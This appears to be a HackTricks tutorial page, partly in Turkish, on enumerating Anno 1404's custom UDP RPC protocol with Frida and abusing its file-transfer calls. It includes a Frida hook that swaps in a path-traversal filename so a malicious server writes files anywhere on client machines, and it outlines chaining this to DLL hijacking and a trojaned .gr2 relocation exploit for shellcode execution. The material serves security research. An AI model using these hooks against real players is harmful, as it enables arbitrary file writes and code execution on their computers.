Custom UDP RPC Enumeration & File-Transfer Abuse

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Frida ile özel RPC nesnelerini haritalama

Eski çok oyunculu oyunlar genellikle UDP üstünde kendi geliştirdikleri RPC yığınlarını gömer. In Anno 1404: Venice this is implemented inside NetComEngine3.dll via the RMC_CallMessage dispatcher, which parses 5 fields from every datagram:

FieldPurpose
IDRPC verb (16-bit)
FlagsTaşıma değiştiricileri (güvenilirlik, sıralama)
SourceArayanın nesne ID’si
TargetObjectUzak nesne örneği
MethodHedef sınıf içindeki metod indeksi

İki yardımcı fonksiyon – ClassToMethodName() ve TargetName() – ham ID’leri loglama için insan tarafından okunabilir stringlere çevirir. By brute-forcing 24‑bit object IDs and 16‑bit method IDs and calling those helpers we can enumerate the entire remotely reachable surface without traffic captures or symbol leaks.

Frida surface enumerator (trimmed) ```javascript 'use strict';

const classToMethod = Module.getExportByName(‘NetComEngine3.dll’, ‘ClassToMethodName’); const targetName = Module.getExportByName(‘NetComEngine3.dll’, ‘TargetName’);

function tryID(objID, methodID) { const method = new NativeFunction(classToMethod, ‘pointer’, [‘pointer’, ‘uint’]); const target = new NativeFunction(targetName, ‘pointer’, [‘pointer’]); const buf = Memory.alloc(Process.pointerSize); buf.writeU32(objID); const m = method(buf, methodID); if (!m.isNull()) { const t = target(buf); console.log(objID.toString(16), ‘=’, t.readUtf16String()); console.log(’ -’, methodID, ‘=’, m.readUtf16String()); } }

for (let obj = 0; obj < 0x9000000; obj += 0x400000) { for (let meth = 0; meth < 0x40; meth++) { tryID(obj, meth); } }

</details>

Running `frida -l explore-surface.js Addon.exe` emitted the complete RPC map, including the `Player` object (`0x7400000`) and its file-transfer verbs `OnSendFileInit`, `OnSendFileData`, `OnReceivedFileData`, and `OnCancelSendFile`. The same workflow applies to any binary protocol that exposes internal reflection helpers: intercept the dispatcher, brute-force IDs, and log what the engine already knows about each callable method.

### Tips

- Use the engine’s own logging buffers (`WString::Format` in this case) to avoid reimplementing undocumented string encodings.
- Dump `Flags` to identify reliability features (ACK, resend requests) before attempting fuzzing; custom UDP stacks frequently drop malformed packets silently.
- Store the enumerated map – it serves as a fuzzing corpus and makes it obvious which objects manipulate the filesystem, world state, or in-game scripting.

## Subverting file-transfer RPCs

Multiplayer save synchronization used a two-packet handshake:

1. `OnSendFileInit` — carries the UTF‑16 filename the client should use when saving the incoming payload.
2. `OnSendFileData` — streams raw file contents in fixed-size chunks.

Because the server serializes the filename through `ByteStreamWriteString()` right before sending, a Frida hook can swap the pointer to a traversal payload while keeping packet sizes intact.

<details>
<summary>Dosya adı değiştirici</summary>
```javascript
const writeStr = ptr('0x1003A250');
const ByteStreamWriteString = new NativeFunction(writeStr, 'pointer', ['pointer', 'pointer']);
const evil = Memory.allocUtf16String('..\\..\\..\\..\\Sauvegarde.sww');

Interceptor.attach(writeStr, {
onEnter(args) {
const src = args[1].readPointer();
const value = src.readUtf16String();
if (value && value.indexOf('Sauvegarde.sww') !== -1) {
args[1].writePointer(evil);
}
}
});

Hedef istemciler hiçbir sanitizasyon yapmadı ve alınan save’i kötü niyetli sunucunun sağladığı herhangi bir yola yazdı; ör. amaçlanan ...\Savegames\MPShare ağacı yerine C:\User\user içine düşürme. Anno 1404’ün Windows kurulumlarında oyun dizini herkese yazılabildiğinden, bu traversal anında keyfi bir dosya yazma primitive’ine dönüşüyor:

  • Drop DLLs bir sonraki başlatmada klasik search-order hijacking için, veya
  • Overwrite asset archives (RDA files) böylece weaponized models, textures, or scripts aynı oturumda canlı olarak yüklenir.

Defending / attacking other targets

  • SendFile, Upload, ShareSave gibi isimlendirilmiş RPC verb’lerini arayın; sonra dosya isimlerinden veya hedef dizinlerden sorumlu serialization helper’ı intercept edin.
  • Dosya adları uzunluk kontrolünden geçirilse bile, birçok yığın ..\ veya karışık / vs \ dizilerini canonicalize etmeyi unutuyor; tüm ayırıcıları brute-force edin.
  • Alıcı dosyaları oyun kurulum yolunun altına kaydediyorsa, icacls ile ACL’leri kontrol edin; ayrıcalıksız bir kullanıcının oraya kod bırakıp bırakamayacağını doğrulayın.

Path traversal’ı canlı varlık yürütmesine dönüştürme

Keyfi baytları yükleyebildiğinizde, sıkça yüklenen herhangi bir varlığı değiştirin:

  1. Arşivi açın. RDA archives DEFLATE tabanlı konteynerlerdir; metadata isteğe bağlı olarak srand(0xA2C2A) seed’li stream’lerle XOR-obfuscation uygulanmış olabilir. RDAExplorer gibi araçlar düzenlemelerden sonra arşivleri tekrar paketler.
  2. Kötü amaçlı bir .gr2 enjekte edin. Trojancılaştırılmış Granny 3D dosyası, SectionContentArray üzerine yazan relocation exploit’i taşır ve iki aşamalı bir relocation dizisiyle granny2.dll içinde keyfi 4 baytlık bir yazma elde eder.
  3. Allocator callback’lerini hijack edin. ASLR devre dışı ve DEP kapalıyken, granny2.dll içindeki malloc/free fonksiyon işaretçilerini değiştirerek bir sonraki allocation’ı shellcode’unuza yönlendirir; hedefin oyunu yeniden başlatmasını beklemeden anında RCE sağlar.

Bu desen, ikili arşivlerden yapılandırılmış varlıkları streamleyen herhangi bir başlığa genelleştirilebilir: teslimat için RPC-seviyesinde traversal ile teslim etmeyi ve unsafe relocation işleme ile kod yürütmeyi birleştirin.

Kaynaklar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin